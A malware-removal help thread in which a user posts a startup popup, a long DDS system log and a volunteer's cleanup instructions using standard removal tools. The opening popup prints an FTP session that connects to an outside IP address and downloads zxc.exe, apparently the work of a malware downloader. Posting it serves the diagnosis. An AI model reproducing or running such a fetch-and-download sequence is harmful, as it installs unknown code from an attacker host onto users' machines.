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This is on my sisters computer . When the computer start this pops up first .

The specified service does not exist as an installed service. all help would be appreciated . I have run malwarebyte and norton anti-virus /

ftp> open 199.36.75.225

Connected to 199.36.75.225.

220 Serv-U FTP Server v6.4 for WinSock ready...

User (199.36.75.225:(none)):

331 User name okay, need password.

230 User logged in, proceed.

ftp> binary

200 Type set to I.

ftp> get zxc.exe

200 PORT Command successful.

150 Opening BINARY mode data connection for zxc.exe (27136 Bytes).

226 Transfer complete.

ftp: 27136 bytes received in 0.28Seconds 96.57Kbytes/sec.

ftp> bye

221 Goodbye!

dds.txt

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Hello Total and :welcome:! My name is Maniac and I will be glad to help you solve your malware problem.

Please note:

  • If you are a paying customer, you have the privilege to contact the help desk at Consumer Support. If you choose this option to get help, please let me know.
  • I recommend you to keep the instructions I will be giving you so that they are available to you at any time. You can save them in a text file or print them.
  • Make sure you read all of the instructions and fixes thoroughly before continuing with them.
  • Follow my instructions strictly and don’t hesitate to stop and ask me if you have any questions.
  • Post your log files, don't attach them. Every log file should be copy/pasted in your next reply.

Please post the content of Attach.txt

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Hello Total and :welcome:! My name is Maniac and I will be glad to help you solve your malware problem.

Please note:

  • If you are a paying customer, you have the privilege to contact the help desk at Consumer Support. If you choose this option to get help, please let me know.
  • I recommend you to keep the instructions I will be giving you so that they are available to you at any time. You can save them in a text file or print them.
  • Make sure you read all of the instructions and fixes thoroughly before continuing with them.
  • Follow my instructions strictly and don’t hesitate to stop and ask me if you have any questions.
  • Post your log files, don't attach them. Every log file should be copy/pasted in your next reply.

Please post the content of Attach.txt

here is the attach and thanks .. attach.txt

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here is the attach and thanks .. attach.txt

.

UNLESS SPECIFICALLY INSTRUCTED, DO NOT POST THIS LOG.

IF REQUESTED, ZIP IT UP & ATTACH IT

.

DDS (Ver_2012-10-19.01)

.

Microsoft Windows XP Home Edition

Boot Device: \Device\HarddiskVolume3

Install Date: 10/26/2012 10:36:01 PM

System Uptime: 11/2/2012 8:48:23 PM (0 hours ago)

.

Motherboard: ASUSTeK Computer INC. | | P7Q57-M DO

Processor: Intel Pentium II processor | LGA1156 | 2933/133mhz

.

==== Disk Partitions =========================

.

C: is FIXED (NTFS) - 197 GiB total, 156.128 GiB free.

D: is CDROM ()

E: is FIXED (NTFS) - 269 GiB total, 248.519 GiB free.

F: is FIXED (FAT32) - 31 GiB total, 24.444 GiB free.

G: is FIXED (NTFS) - 43 GiB total, 16.967 GiB free.

H: is Removable

.

==== Disabled Device Manager Items =============

.

==== System Restore Points ===================

.

RP10: 10/31/2012 10:33:16 PM - Software Distribution Service 3.0

.

==== Installed Programs ======================

.

ACCPAC Accounts Payable

ACCPAC Accounts Payable 4.1A (32-Bit) (Pervasive.SQL)

ACCPAC Accounts Payable 4.2A

ACCPAC General Ledger 4.0A (16-Bit)

ACCPAC General Ledger 4.1A (32-Bit) (Pervasive.SQL)

ACCPAC General Ledger 4.2A

ACCPAC Sample Data

ACCPAC System Manager 4.0A (16-Bit)

ACCPAC System Manager 4.1A (32-Bit) (Pervasive.SQL)

ACCPAC System Manager 4.2A (Pervasive.SQL)

ACE Mega CoDecS Pack

Acronis Migrate Easy

Acronis MigrateEasy

Active Disk

Adobe Acrobat 5.0

Adobe Flash Player 11 ActiveX

Adobe Reader XI

APC PowerChute Personal Edition

ArcSoft VideoImpression 1.6FP

ASUSUpdate

Browser Configuration Utility

C-Media 3D Audio

C-Media WDM Audio Driver

Citrix online plug-in

Citrix online plug-in (DV)

Citrix online plug-in (HDX)

Citrix online plug-in (PNA)

Citrix online plug-in (SSON)

Citrix online plug-in (USB)

Citrix online plug-in (Web)

Citrix Receiver

Citrix Web Client

Compatibility Pack for the 2007 Office system

Crystal 11 Runtime

Crystal 11.5 Runtime

DataTraveler 2.0

DP Editor Ver.1.0

eReg

erLT

Exif Launcher Ver.1.1

Google Chrome

Google Update Helper

GoToMeeting 4.0.0.320

HDCopy

High-Definition Video Playback

HighMAT Extension to Microsoft Windows XP CD Writing Wizard

HijackThis 1.98.2

Hotfix for Microsoft .NET Framework 3.5 SP1 (KB953595)

Hotfix for Microsoft .NET Framework 3.5 SP1 (KB958484)

Hotfix for Windows XP (KB952287)

Hotfix for Windows XP (KB961118)

HSP56 MR Drivers

Insync

Intel® 537EP Modem

Intel® Management Engine Components

Intel® Network Connections 14.6.7.0

IomegaWare 4.0.2

J2SE Runtime Environment 5.0 Update 2

J2SE Runtime Environment 5.0 Update 4

Java 2 Runtime Environment, SE v1.4.2_06

Java 7 Update 9

Java Auto Updater

Java 6 Update 37

Juniper Networks Cache Cleaner 5.3.0

Juniper Networks Cache Cleaner 6.0.0

Juniper Networks Host Checker

Juniper Networks Setup Client

Juniper Networks Setup Client Activex Control

LeechFTP 1.3

Logitech SetPoint 6.15

Macrium Reflect Free Edition

Macromedia Authorware Web Player

Macromedia Shockwave Player

Malwarebytes Anti-Malware version 1.65.1.1000

McAfee Firewall

Microsoft .NET Framework 1.1

Microsoft .NET Framework 1.1 Security Update (KB2656353)

Microsoft .NET Framework 1.1 Security Update (KB2656370)

Microsoft .NET Framework 1.1 Security Update (KB979906)

Microsoft .NET Framework 2.0 Service Pack 2

Microsoft .NET Framework 3.0 Service Pack 2

Microsoft .NET Framework 3.5 SP1

Microsoft .NET Framework 4 Client Profile

Microsoft Compression Client Pack 1.0 for Windows XP

Microsoft Office 2007 Service Pack 3 (SP3)

Microsoft Office Access MUI (English) 2007

Microsoft Office Access Setup Metadata MUI (English) 2007

Microsoft Office Converter Pack

Microsoft Office Enterprise 2007

Microsoft Office Excel MUI (English) 2007

Microsoft Office File Validation Add-In

Microsoft Office Groove MUI (English) 2007

Microsoft Office Groove Setup Metadata MUI (English) 2007

Microsoft Office InfoPath MUI (English) 2007

Microsoft Office Live Add-in 1.5

Microsoft Office OneNote MUI (English) 2007

Microsoft Office Outlook MUI (English) 2007

Microsoft Office PowerPoint MUI (English) 2007

Microsoft Office Proof (English) 2007

Microsoft Office Proof (French) 2007

Microsoft Office Proof (Spanish) 2007

Microsoft Office Proofing (English) 2007

Microsoft Office Proofing Tools 2007 Service Pack 3 (SP3)

Microsoft Office Publisher MUI (English) 2007

Microsoft Office Shared MUI (English) 2007

Microsoft Office Shared Setup Metadata MUI (English) 2007

Microsoft Office Word MUI (English) 2007

Microsoft PowerPoint Viewer 97

Microsoft Silverlight

Microsoft Software Update for Web Folders (English) 12

Microsoft SQL Server 2005

Microsoft SQL Server 2005 Express Edition

Microsoft SQL Server Native Client

Microsoft SQL Server Setup Support Files (English)

Microsoft SQL Server VSS Writer

Microsoft Visual C++ 2005 ATL Update kb973923 - x86 8.0.50727.4053

Microsoft Visual C++ 2005 Redistributable

Microsoft Visual C++ 2008 ATL Update kb973924 - x86 9.0.30729.4148

Microsoft Visual C++ 2008 Redistributable - x86 9.0.21022

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161

Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219

Microsoft Word Viewer 97

Microsoft Works 4.5

Microsoft Works Calendar 1.0

Microsoft Works Setup Launcher

Motherboard Monitor 5

Mozilla (1.7.13)

MSXML 6 Service Pack 2 (KB973686)

MSXML 6.0 Parser (KB933579)

Nero 11 Kwik Themes Basic

Nero 7 Premium

Nero Audio Pack 1

Nero Core Components 11

Nero Kwik Media

Nero Kwik Media Help (CHM)

Nero SharedVideoCodecs

Nero Update

nero.prerequisites.msi

Netscape Communicator 4.79

Netscape SmartDownload 1.1

Norton Internet Security

NVIDIA Control Panel 306.81

NVIDIA Graphics Driver 306.81

NVIDIA Install Application

NVIDIA nView 136.28

NVIDIA PhysX

NVIDIA PhysX System Software 9.12.0604

NVIDIA Update 1.10.8

NVIDIA Update Components

Ontrack® Fix-It Utilities 4.0

Pervasive.SQL 2000 Workgroup (SP3)

Platform

QuickTime

RealPlayer Basic

Realtek AC'97 Audio

Realtek High Definition Audio Driver

Remoter

S3 S3Display

S3 S3Gamma2

S3 S3Info2

S3 S3Overlay

Seagate Crystal Reports for ACCPAC for Windows

SeaMonkey (1.1.18)

SeaMonkey 2.13.2 (x86 en-US)

Security Update for Microsoft .NET Framework 3.5 SP1 (KB2604111)

Security Update for Microsoft .NET Framework 3.5 SP1 (KB2657424)

Security Update for Microsoft .NET Framework 4 Client Profile (KB2604121)

Security Update for Microsoft .NET Framework 4 Client Profile (KB2656351)

Security Update for Microsoft .NET Framework 4 Client Profile (KB2656368v2)

Security Update for Microsoft .NET Framework 4 Client Profile (KB2656405)

Security Update for Microsoft .NET Framework 4 Client Profile (KB2686827)

Security Update for Microsoft Office 2007 suites (KB2596615) 32-Bit Edition

Security Update for Microsoft Office 2007 suites (KB2596672) 32-Bit Edition

Security Update for Microsoft Office 2007 suites (KB2596744) 32-Bit Edition

Security Update for Microsoft Office 2007 suites (KB2596754) 32-Bit Edition

Security Update for Microsoft Office 2007 suites (KB2596785) 32-Bit Edition

Security Update for Microsoft Office 2007 suites (KB2596792) 32-Bit Edition

Security Update for Microsoft Office 2007 suites (KB2596856) 32-Bit Edition

Security Update for Microsoft Office 2007 suites (KB2596871) 32-Bit Edition

Security Update for Microsoft Office 2007 suites (KB2597162) 32-Bit Edition

Security Update for Microsoft Office 2007 suites (KB2597969) 32-Bit Edition

Security Update for Microsoft Office 2007 suites (KB2687314) 32-Bit Edition

Security Update for Microsoft Office 2007 suites (KB2687439) 32-Bit Edition

Security Update for Microsoft Office 2007 suites (KB2687441) 32-Bit Edition

Security Update for Microsoft Office Excel 2007 (KB2597161) 32-Bit Edition

Security Update for Microsoft Office InfoPath 2007 (KB2687440) 32-Bit Edition

Security Update for Microsoft Office PowerPoint 2007 (KB2596764) 32-Bit Edition

Security Update for Microsoft Office PowerPoint 2007 (KB2596912) 32-Bit Edition

Security Update for Microsoft Office Publisher 2007 (KB2596705) 32-Bit Edition

Security Update for Microsoft Office Word 2007 (KB2687315) 32-Bit Edition

Security Update for Microsoft Windows (KB2564958)

Security Update for Windows Internet Explorer 8 (KB2510531)

Security Update for Windows Internet Explorer 8 (KB2544521)

Security Update for Windows Internet Explorer 8 (KB2618444)

Security Update for Windows Internet Explorer 8 (KB2744842)

Security Update for Windows Internet Explorer 8 (KB982381)

Security Update for Windows XP (KB2115168)

Security Update for Windows XP (KB2229593)

Security Update for Windows XP (KB2296011)

Security Update for Windows XP (KB2347290)

Security Update for Windows XP (KB2360937)

Security Update for Windows XP (KB2387149)

Security Update for Windows XP (KB2393802)

Security Update for Windows XP (KB2419632)

Security Update for Windows XP (KB2423089)

Security Update for Windows XP (KB2440591)

Security Update for Windows XP (KB2443105)

Security Update for Windows XP (KB2476490)

Security Update for Windows XP (KB2478960)

Security Update for Windows XP (KB2478971)

Security Update for Windows XP (KB2479943)

Security Update for Windows XP (KB2481109)

Security Update for Windows XP (KB2483185)

Security Update for Windows XP (KB2485663)

Security Update for Windows XP (KB2506212)

Security Update for Windows XP (KB2507618)

Security Update for Windows XP (KB2507938)

Security Update for Windows XP (KB2508429)

Security Update for Windows XP (KB2509553)

Security Update for Windows XP (KB2535512)

Security Update for Windows XP (KB2536276-v2)

Security Update for Windows XP (KB2544893-v2)

Security Update for Windows XP (KB2566454)

Security Update for Windows XP (KB2570947)

Security Update for Windows XP (KB2584146)

Security Update for Windows XP (KB2585542)

Security Update for Windows XP (KB2592799)

Security Update for Windows XP (KB2598479)

Security Update for Windows XP (KB2603381)

Security Update for Windows XP (KB2619339)

Security Update for Windows XP (KB2620712)

Security Update for Windows XP (KB2624667)

Security Update for Windows XP (KB2631813)

Security Update for Windows XP (KB2646524)

Security Update for Windows XP (KB2653956)

Security Update for Windows XP (KB2655992)

Security Update for Windows XP (KB2659262)

Security Update for Windows XP (KB2676562)

Security Update for Windows XP (KB2686509)

Security Update for Windows XP (KB2691442)

Security Update for Windows XP (KB2698365)

Security Update for Windows XP (KB2705219-v2)

Security Update for Windows XP (KB2712808)

Security Update for Windows XP (KB2719985)

Security Update for Windows XP (KB2723135-v2)

Security Update for Windows XP (KB2724197)

Security Update for Windows XP (KB2731847-v2)

Security Update for Windows XP (KB923561)

Security Update for Windows XP (KB923789)

Security Update for Windows XP (KB941569)

Security Update for Windows XP (KB946648)

Security Update for Windows XP (KB950762)

Security Update for Windows XP (KB950974)

Security Update for Windows XP (KB951376-v2)

Security Update for Windows XP (KB952004)

Security Update for Windows XP (KB952954)

Security Update for Windows XP (KB956572)

Security Update for Windows XP (KB956744)

Security Update for Windows XP (KB956802)

Security Update for Windows XP (KB956844)

Security Update for Windows XP (KB959426)

Security Update for Windows XP (KB960803)

Security Update for Windows XP (KB960859)

Security Update for Windows XP (KB969059)

Security Update for Windows XP (KB970430)

Security Update for Windows XP (KB971657)

Security Update for Windows XP (KB972270)

Security Update for Windows XP (KB973507)

Security Update for Windows XP (KB973869)

Security Update for Windows XP (KB973904)

Security Update for Windows XP (KB974112)

Security Update for Windows XP (KB974318)

Security Update for Windows XP (KB974392)

Security Update for Windows XP (KB974571)

Security Update for Windows XP (KB975025)

Security Update for Windows XP (KB975467)

Security Update for Windows XP (KB975560)

Security Update for Windows XP (KB975713)

Security Update for Windows XP (KB977816)

Security Update for Windows XP (KB977914)

Security Update for Windows XP (KB978338)

Security Update for Windows XP (KB978542)

Security Update for Windows XP (KB978706)

Security Update for Windows XP (KB979309)

Security Update for Windows XP (KB979482)

Security Update for Windows XP (KB979687)

Security Update for Windows XP (KB981322)

Security Update for Windows XP (KB981997)

Security Update for Windows XP (KB982132)

Security Update for Windows XP (KB982665)

Simply Accounting 2003 Basic

Simply Accounting v9.0

SiS 900 PCI Fast Ethernet Adapter Driver

SpywareBlaster v3.5.1

SUNIX Multi-IO Controller

SUPERAntiSpyware

Sympatico

UniChrome II Graphics Display Driver and Utilities

Update for 2007 Microsoft Office System (KB967642)

Update for Microsoft .NET Framework 3.5 SP1 (KB963707)

Update for Microsoft .NET Framework 4 Client Profile (KB2468871)

Update for Microsoft .NET Framework 4 Client Profile (KB2533523)

Update for Microsoft .NET Framework 4 Client Profile (KB2600217)

Update for Microsoft Office 2007 Help for Common Features (KB963673)

Update for Microsoft Office Access 2007 Help (KB963663)

Update for Microsoft Office Excel 2007 Help (KB963678)

Update for Microsoft Office Infopath 2007 Help (KB963662)

Update for Microsoft Office OneNote 2007 Help (KB963670)

Update for Microsoft Office Outlook 2007 (KB2596598) 32-Bit Edition

Update for Microsoft Office Outlook 2007 Help (KB963677)

Update for Microsoft Office Outlook 2007 Junk Email Filter (KB2687407) 32-Bit Edition

Update for Microsoft Office Powerpoint 2007 Help (KB963669)

Update for Microsoft Office Publisher 2007 Help (KB963667)

Update for Microsoft Office Script Editor Help (KB963671)

Update for Microsoft Office Word 2007 Help (KB963665)

Update for Windows Internet Explorer 8 (KB2632503)

Update for Windows XP (KB2345886)

Update for Windows XP (KB2467659)

Update for Windows XP (KB2492386)

Update for Windows XP (KB2661254-v2)

Update for Windows XP (KB2749655)

Update for Windows XP (KB951978)

Update for Windows XP (KB968389)

Update for Windows XP (KB971029)

Update for Windows XP (KB973815)

VIA Platform Device Manager

VIA Rhine-Family Fast-Ethernet Adapter

Viewpoint Media Player (Remove Only)

VLC media player 2.0.1

WebEx

WebFldrs XP

Webshots!

Windows Backup Utility

Windows Driver Package - Sunix Co., Ltd. Golden Adapter Driver (12/20/2007 6.4.2.1)

Windows Driver Package - Sunix Co., Ltd. Golden Port Driver (12/20/2007 6.4.2.1)

Windows Genuine Advantage Notifications (KB905474)

Windows Genuine Advantage v1.3.0254.0

Windows Genuine Advantage Validation Tool (KB892130)

Windows Internet Explorer 8

Windows Live ID Sign-in Assistant

Windows Management Framework Core

Windows Media Connect

Windows Media Format 11 runtime

Windows Media Player 11

Windows XP Service Pack 3

WinRAR archiver

WinZip

.

==== Event Viewer Messages From Past Week ========

.

11/2/2012 9:16:26 AM, error: Dhcp [1002] - The IP address lease 192.168.1.13 for the Network Card with network address E0CB4EE6CE50 has been denied by the DHCP server 142.165.200.26 (The DHCP Server sent a DHCPNACK message).

11/2/2012 4:16:35 PM, error: Service Control Manager [7026] - The following boot-start or system-start driver(s) failed to load: AFD AsIO AsUpIO BHDrvx86 ccSet_NIS ctxusbm eeCtrl Fips intelppm IPSec mbmiodrvr MRxSmb NetBIOS NetBT RasAcd Rdbss SASDIFSV SASKUTIL SRTSPX SymIRON SYMTDI Tcpip

10/31/2012 4:25:16 PM, error: DCOM [10005] - DCOM got error "%1058" attempting to start the service WSearch with arguments "" in order to run the server: {9E175B68-F52A-11D8-B9A5-505054503030}

10/31/2012 4:14:38 PM, error: Service Control Manager [7034] - The Java Quick Starter service terminated unexpectedly. It has done this 1 time(s).

10/31/2012 12:19:23 PM, error: Service Control Manager [7023] - The DNS Client service terminated with the following error: No protocol sequences have been registered.

10/31/2012 12:19:23 PM, error: dnscache [11004] - Unable to start DNS Client service. Could not start the Remote Procedure Call (RPC) interface for this service. To correct the problem, you may restart the RPC and DNS Client services. To do so, use the following commands at a command prompt: (1) type "net start rpc" to start the RPC service, and (2) type "net start dnscache" to start the DNS Client service. For specific error code information, see the record data displayed below.

10/31/2012 12:16:33 PM, error: sr [1] - The System Restore filter encountered the unexpected error '0xC0000001' while processing the file '' on the volume 'HarddiskVolume3'. It has stopped monitoring the volume.

10/31/2012 10:07:06 PM, error: Service Control Manager [7023] - The Application Management service terminated with the following error: The specified module could not be found.

10/30/2012 9:27:49 PM, error: Dhcp [1002] - The IP address lease 69.11.113.35 for the Network Card with network address E0CB4EE6CE50 has been denied by the DHCP server 192.168.1.2 (The DHCP Server sent a DHCPNACK message).

10/30/2012 9:14:05 AM, error: DCOM [10005] - DCOM got error "%1058" attempting to start the service WSearch with arguments "" in order to run the server: {7D096C5F-AC08-4F1F-BEB7-5C22C517CE39}

10/30/2012 9:09:45 AM, error: DCOM [10005] - DCOM got error "%1058" attempting to start the service UNS with arguments "" in order to run the server: {80C25488-192B-4DE2-8150-5B2D2A2F835E}

10/30/2012 9:08:37 AM, error: Service Control Manager [7024] - The SQL Server Active Directory Helper service terminated with service-specific error 3221225572 (0xC0000064).

10/30/2012 9:08:37 AM, error: Service Control Manager [7023] - The Computer Browser service terminated with the following error: The specified service does not exist as an installed service.

10/30/2012 9:08:37 AM, error: Service Control Manager [7009] - Timeout (30000 milliseconds) waiting for the DcomLaunch Manager service to connect.

10/30/2012 9:08:37 AM, error: Service Control Manager [7000] - The O&O Defrag service failed to start due to the following error: The system cannot find the file specified.

10/30/2012 9:08:18 AM, error: ParVdm [2] - Unable to get device object pointer for port object.

10/30/2012 11:11:06 PM, error: Service Control Manager [7026] - The following boot-start or system-start driver(s) failed to load: AsIO AsUpIO BHDrvx86 ccSet_NIS ctxusbm eeCtrl Fips intelppm mbmiodrvr SRTSPX SymIRON SYMTDI

10/30/2012 11:11:00 PM, error: DCOM [10005] - DCOM got error "%1084" attempting to start the service StiSvc with arguments "" in order to run the server: {A1F4E726-8CF1-11D1-BF92-0060081ED811}

10/28/2012 3:07:33 PM, error: Dhcp [1002] - The IP address lease 192.168.1.18 for the Network Card with network address E0CB4EE6CE50 has been denied by the DHCP server 142.165.200.26 (The DHCP Server sent a DHCPNACK message).

10/28/2012 12:03:58 PM, error: Windows Update Agent [20] - Installation Failure: Windows failed to install the following update with error 0x80070643: Microsoft SQL Server 2005 Express Edition Service Pack 2 (KB 921896).

10/28/2012 11:39:08 AM, error: Distributed Link Tracking Client [12507] - The volume ID for G: has been reset, since it was a duplicate of that on E:. This volume ID is used by Distributed Link Tracking to automatically repair file links, such as Shell Shortcuts and OLE links, when for some reason those links become broken.

10/27/2012 9:53:21 PM, error: DCOM [10005] - DCOM got error "%1058" attempting to start the service winmgmt with arguments "" in order to run the server: {8BC3F05E-D86B-11D0-A075-00C04FB68820}

10/27/2012 9:28:28 PM, error: Windows Update Agent [20] - Installation Failure: Windows failed to install the following update with error 0x8007f0f4: Update for WMDRM-enabled Media Players (KB902344).

10/27/2012 9:13:02 PM, error: DCOM [10005] - DCOM got error "%1058" attempting to start the service netman with arguments "" in order to run the server: {BA126AE5-2166-11D1-B1D0-00805FC1270E}

10/27/2012 9:11:29 PM, error: DCOM [10005] - DCOM got error "%1058" attempting to start the service StiSvc with arguments "" in order to run the server: {A1F4E726-8CF1-11D1-BF92-0060081ED811}

10/27/2012 9:05:57 PM, error: DCOM [10005] - DCOM got error "%1058" attempting to start the service netman with arguments "" in order to run the server: {BA126AD1-2166-11D1-B1D0-00805FC1270E}

10/27/2012 11:33:53 PM, error: Windows Update Agent [20] - Installation Failure: Windows failed to install the following update with error 0x80070643: Microsoft SQL Server 2005 Express Edition Service Pack 4 (KB2463332).

10/27/2012 11:18:36 PM, error: DCOM [10005] - DCOM got error "%1084" attempting to start the service EventSystem with arguments "" in order to run the server: {1BE1F766-5536-11D1-B726-00C04FB926AF}

10/27/2012 11:17:44 PM, error: DCOM [10005] - DCOM got error "%1084" attempting to start the service MSIServer with arguments "" in order to run the server: {000C101C-0000-0000-C000-000000000046}

10/27/2012 11:13:25 PM, error: Service Control Manager [7026] - The following boot-start or system-start driver(s) failed to load: AFD AsIO AsUpIO BHDrvx86 ccSet_NIS ctxusbm eeCtrl Fips intelppm IPSec mbmiodrvr MRxSmb NetBIOS NetBT RasAcd Rdbss SRTSPX SymIRON SYMTDI Tcpip

10/27/2012 11:13:25 PM, error: Service Control Manager [7001] - The TCP/IP NetBIOS Helper service depends on the AFD service which failed to start because of the following error: A device attached to the system is not functioning.

10/27/2012 11:13:25 PM, error: Service Control Manager [7001] - The IPSEC Services service depends on the IPSEC driver service which failed to start because of the following error: A device attached to the system is not functioning.

10/27/2012 11:13:25 PM, error: Service Control Manager [7001] - The DNS Client service depends on the TCP/IP Protocol Driver service which failed to start because of the following error: A device attached to the system is not functioning.

10/27/2012 11:13:25 PM, error: Service Control Manager [7001] - The DHCP Client service depends on the NetBios over Tcpip service which failed to start because of the following error: A device attached to the system is not functioning.

10/27/2012 11:13:11 PM, error: DCOM [10005] - DCOM got error "%1084" attempting to start the service netman with arguments "" in order to run the server: {BA126AE5-2166-11D1-B1D0-00805FC1270E}

10/27/2012 10:00:22 PM, error: PlugPlayManager [11] - The device Root\LEGACY_SMR311\0000 disappeared from the system without first being prepared for removal.

10/27/2012 10:00:11 PM, error: Service Control Manager [7026] - The following boot-start or system-start driver(s) failed to load: Fdc uagp35 ViaIde viamraid

.

==== End Of File ===========================

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Step 1

Please uninstal these applications:

McAfee Firewall

Viewpoint Media Player (Remove Only)

Step 2

  • Launch Malwarebytes' Anti-Malware
  • Go to Update tab and select Check for Updates. If an update is found, it will download and install the latest version.
  • Go to Scanner tab and select Perform Quick Scan, then click Scan.
  • The scan may take some time to finish,so please be patient.
  • When the scan is complete, click OK, then Show Results to view the results.
  • Make sure that everything is checked, and click Remove Selected.
  • When disinfection is completed, a log will open in Notepad and you may be prompted to Restart. (See Extra Note)
  • The log is automatically saved by MBAM and can be viewed by clicking the Logs tab in MBAM.
  • Copy&Paste the entire report in your next reply.

Extra Note: If MBAM encounters a file that is difficult to remove, you will be presented with 1 of 2 prompts, click OK to either and let MBAM proceed with the disinfection process, if asked to restart the computer,please do so immediately.

Step 3

Please download Farbar Service Scanner and run it on the computer with the issue.

  • Make sure the following options are checked:
    • Internet Services
    • Windows Firewall
    • System Restore
    • Security Center
    • Windows Update

    [*]Press "Scan".

    [*]It will create a log (FSS.txt) in the same directory the tool is run.

    [*]Please copy and paste the log to your reply.

Step 4

Download aswMBR.exe to your desktop.

Double click the aswMBR.exe to run it

Click the "Scan" button to start scan

aswMBR2-1.gif

On completion of the scan click save log, save it to your desktop and post in your next reply

aswMBR2.png

In your next reply, post the following log files:

  • Malwarebytes' Anti-Malware log
  • Farbar Service Scanner log
  • aswMBR log
  • a new fresh DDS log

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  • 4 weeks later...

Due to the lack of feedback this topic is closed to prevent others from posting here. If you need this topic reopened, please send a Private Message to any one of the moderating team members. Please include a link to this thread with your request. This applies only to the originator of this thread.

Other members who need assistance please start your own topic in a new thread. Thanks!

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